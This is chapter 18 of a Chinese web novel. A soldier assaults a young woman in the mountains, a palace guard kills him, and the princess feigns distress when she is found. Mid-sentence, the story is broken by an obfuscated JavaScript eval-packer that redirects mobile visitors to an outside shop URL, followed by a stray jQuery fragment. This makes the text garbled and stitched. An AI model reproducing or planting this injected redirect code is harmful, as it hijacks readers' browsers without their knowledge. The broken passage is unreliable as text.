18. 第 18 章
作品:《反派的早死原配》 赵虎料定这小娘子身份成疑,约莫是偷偷从家里逃婚出来的,或者是什么罪犯的亲眷。
这等身份就算他做了什么,也无处说理,只能吃了这哑巴闷亏。
又瞧着李向晚眉眼清秀、透着股野性的俏模样,赵虎心里的念想越发活络。
若是滋味合心意,大不了直接带回去当个妾室。家里那发妻自从上次跟他吵翻后,便日日赖在娘家,对他不理不睬,正好借这小娘子给她添添堵,也让她瞧瞧,没了她,自己照样有美人相伴。
他越想越心痒难耐,脱了身上的军袍就要往上扑,却没想到身下的李向晚趁他扑来的瞬间,膝盖猛地一抬,脚尖精准又狠厉地踹向他的命丨根子。
啊———!!
一声杀猪似的惨叫陡然划破山林的寂静,凄厉得在空旷的山谷里嗡嗡回荡,听得人头皮发麻。
赵虎捂着下身蜷缩在地上,疼得浑身抽搐,连话都说不出来。旁边几个老兵本想上前瞧瞧,被其中一个拦了下来。
他朝几人使了个眼色,压低声音沉声道:“你们忘了?这山里不光有咱们守备营的人,还有平王府的侍卫!这事情传出去谁也没好果子吃,多一事不如少一事,咱们赶紧撤!依着军规,他今儿这副德行,怕是再难保住副将的位置了!”
几个老兵偷偷溜走之后,赵虎也发了狂,他伸出手便甩了李向晚一个巴掌,打的她耳膜嗡嗡作响,瞬间头脑一片空白。
她方才被陆书窈裸绞晕过去之后,再醒来便一直觉得自己头脑发雾,身体沉重,这下被打了之后更是感觉浑身力气都使不出来,面对暴怒的赵虎连招架之力都不剩多少。
拳头与巴掌如雨点般落在身上,疼得李向晚眼前阵阵发黑,连惨叫的声音都快发不出来。直到感觉对方停下,她勉强撑开一条眼缝,却见赵虎竟弯腰抱起了旁边一块大石,双臂青筋暴起,显然是要将她砸死泄愤。
千钧一发之际,一把凌厉的长剑带着呼啸的风声,从赵虎正前方直直飞射而过,精准无误地刺穿了他的身体,剑尖从后背透体而出。
赵虎脸上的凶戾瞬间凝固,抱着石头的手臂猛地一松,石头轰然砸在脚边。
他喉咙里发出嗬嗬的声音好似要说什么,却根本发不出一点声音。缓缓低下头看去,只见胸口只余一个剑柄,随后身体一软,重重倒在地上,彻底没了声息。
“姑娘没事吧?”谢宁手中提着灯笼快步走过来,看到地上躺着的李向晚满脸是血。
他刚听得这边有惨叫声,还以为是抓到了可疑的人,没想到正撞见赵虎在对李向晚施暴。
离得较远他也看不太清楚,只看得一男子马上要杀人,于是情急之下将手中的长剑丢出。可他万万没料到,这情急之下的一剑,刺穿的竟是方才与自己打过照面的守备营副将赵虎。
守备营副将当众被杀不是小事,谢宁虽身为平王府的人,但赵虎终究是朝廷在编的军官。此事若是没有个合理的交待,传出去便是藐视军纪的重罪,到时候不仅他难辞其咎,恐怕连平王府都会被牵扯进来。
所以他必须带着李向晚到守备营见守备大人,说明现场情况,是赵虎先触犯军纪在先,被杀也不过是有人行仗义之事。
李向晚总算缓过些气力,抬手胡乱擦了把脸上的血污与泥灰。好好一个清秀姑娘,此刻脸颊、额角青一块紫一块,嘴角还破了皮渗着血丝,瞧着格外狼狈。好在都是些皮外伤,并未伤及筋骨,并无大碍。
“多谢这位小将军相救,我是从云溪县逃难来的,家中已经没人了,父母没读过书没个正经名字,旁人都唤我李二丫。实在是无处可去,才想着来这山里寻间荒废的屋子暂且安身,没承想遇上方才那泼皮无赖,险些遭了毒手,多亏小将军及时援手,才让我捡回一条命。”
李向晚此时也学乖了,直接自报了家门,这名字是她在永庆寺内洒扫之时听到的,当时叫李二丫的女子便是从云溪县逃荒赶来,到都城投奔亲眷,还和李向晚聊了许久自己家的事。
但可惜几日前李二丫不慎在山上坠崖而死,除了她之外,并没有人知道李二丫的身份,于是寺内僧人便做主将其按照无名尸首埋葬超度。
现下她刚好用上李二丫的名字,省的面前的人再对她身份起疑心。
谢宁点了点头,当即吩咐身边一名暗卫留下照料李向晚,自己则带着人,脚步未歇地继续往山林深处搜寻陆书窈的踪迹。
没过多久,他们便寻到了那间孤零零的茅屋。
推门而入,只见屋内桌椅歪斜,屋内地面一片狼藉,显然是刚经历过一场厮打。陆书窈正站在角落,手中紧握着一把柴刀,双目警惕地盯着门口,周身透着一股戒备之气。
待看清来人是谢宁,她紧绷的肩头才骤然一松,连忙将柴刀丢在一旁,颓然地坐在了一边的椅子上。
“王妃!”谢宁见她毫发无伤,高悬的心总算是落了地,当即单膝跪地请罪,“属下救驾来迟,让王妃身陷险境,还望王妃恕罪!”
“你可算来了!”陆书窈眼眶一红,当即装出一副惊魂未定的模样,指尖轻轻一拭眼角,便蕴出了眼泪。原主本就生得眉黛含颦、楚楚可怜,此刻这般含泪欲泣的模样,更是梨花带雨,惹人怜惜。
“方才那恶徒凶神恶煞的,我还当……还当再也见不到王爷了。”她说着,从袖中掏出一方帕子假意拭泪,余光却悄悄瞟向谢宁,暗暗观察着他的神色。
谢宁一个常年习武的粗莽汉子,哪里见过这般柔柔弱弱的阵仗,只当她是真的受了天大的惊吓,一时站也不是,坐也不是,手足无措地僵在原地。
他瞥见屋内一副凌乱架势,便暗自猜测,王妃定是为了自保,才与歹人周旋搏斗,将屋子折腾成了这般模样。
“咳咳……王妃,到底发生了什么事?”
“我只记得自己多饮了几杯,醉得昏昏沉沉,再睁眼时,竟已是在这间破屋里了。”她声音发颤,带着后怕的哽咽,“当时有个歹人扑上来,分明是存了不轨之心。我也是情急之下拼命挣扎,慌乱里摸到了这把柴刀,才算勉强护住自己,让那贼子一时半会儿近不了身。”
她抬手抹了抹眼角的泪,语气越发委屈:“后来听见外面有动静,那人怕引来旁人,便慌慌张张地跑了。这荒山野岭的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979381|192791||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我一个弱女子哪里敢乱走,只能攥着这柴刀,缩在屋里心惊胆战地等,生怕那歹人去而复返。”
陆书窈这一番话合情合理,谢宁便也不再多问,毕竟眼下还有一堆棘手的事等着处置。
方才为了搜寻王妃的踪迹,整座山的山民都被兵士盘问了个底朝天,但凡行迹有几分可疑的,都被带去单独问话,闹得山中人心惶惶。
再加上他情急之下一剑刺死了守备营的副将赵虎,他必须带着方才救下的那名姑娘,一同前往守备营说明前因后果。
陆书窈跟着谢宁踏出茅屋,便看到一群暗卫和兵士正举着火把,心里暗道好大的阵仗。
她目光下意识扫过人群,很快便瞥见了站在角落满脸青紫的李向晚,心瞬间提了起来。
正暗自焦灼时,李向晚似是察觉到她的目光,抬眼望来,不动声色地朝着她微微点了点头。陆书窈心中虽然疑惑,但心中的巨石也算落了地,虽然不知道她那边发生了什么,但事情应当并未暴露。
陆书窈很快便被送回边苑,此时已经天色微亮,她与萧凛打了个照面之后,萧凛便让人送她先去休息。
萧凛在别苑内枯坐了一夜,未曾合眼。
当暗卫快马加鞭传回找到陆书窈的消息时,他便剑眉微蹙,心底生出几分疑虑。
按理说,别苑虽说侍卫不算多,却也都是精挑细选的好手,断不至于让人悄无声息地掳走一个人。
直到后续消息递上来,说茅屋中搜出了一套洒扫弟子的服饰,萧凛当即下令,让人彻查这批洒扫弟子的来历与去向,这才赫然发现,其中竟有一人早已不知所踪。
永庆寺那边得知出了这等惊动王府的大事,顿时慌作一团。住持与一众僧人虽已遁入空门,不问俗世,可这批洒扫弟子也都是寺中引荐来的人手,如今出了这等纰漏,他们无论如何也脱不了干系。
于是所有人都连夜将现有的线索汇集起来,才发现李向晚报给寺中的姓名和来历是假的,翻遍整座山也找不到人,就像凭空人间蒸发了一般。
次日将近午时,陆书窈才慢悠悠醒转起身,梳洗妥当后推开门,却见别苑里竟已是人头攒动、热闹得不同寻常。
衙门的捕快和县官、守备营的兵士、萧凛和他的暗卫、永庆寺的大和尚、太后和身边的宫女……全都在,所有人都静等着她醒来,好彻查到底是哪个胆大包天的狂徒,竟敢对平王妃下手。
永庆寺地界本就隶属昭平县,再往上才归都城府管辖。此事虽说闹得不小,但万幸王妃有惊无险,倒也不必劳师动众惊动都城府的人。
太后一见陆书窈出来,连忙上前一把攥住她的手上下打量,生怕她哪里受了伤。
那昭平县令虽说紧邻都城,却哪里见过这等阵仗?只觉得双腿发软,腰杆都直不起来,脸上堆着谄媚的赔笑,小心翼翼地凑上前问道:
“王妃娘娘,您可曾看清掳走您的凶徒长什么模样?下官特意带了画师过来,您只需描述出样貌,画师便能将凶徒的脸绘出来,也好早日将那贼子捉拿归案!”
“是看清了的。”陆书窈神色楚楚地答道。

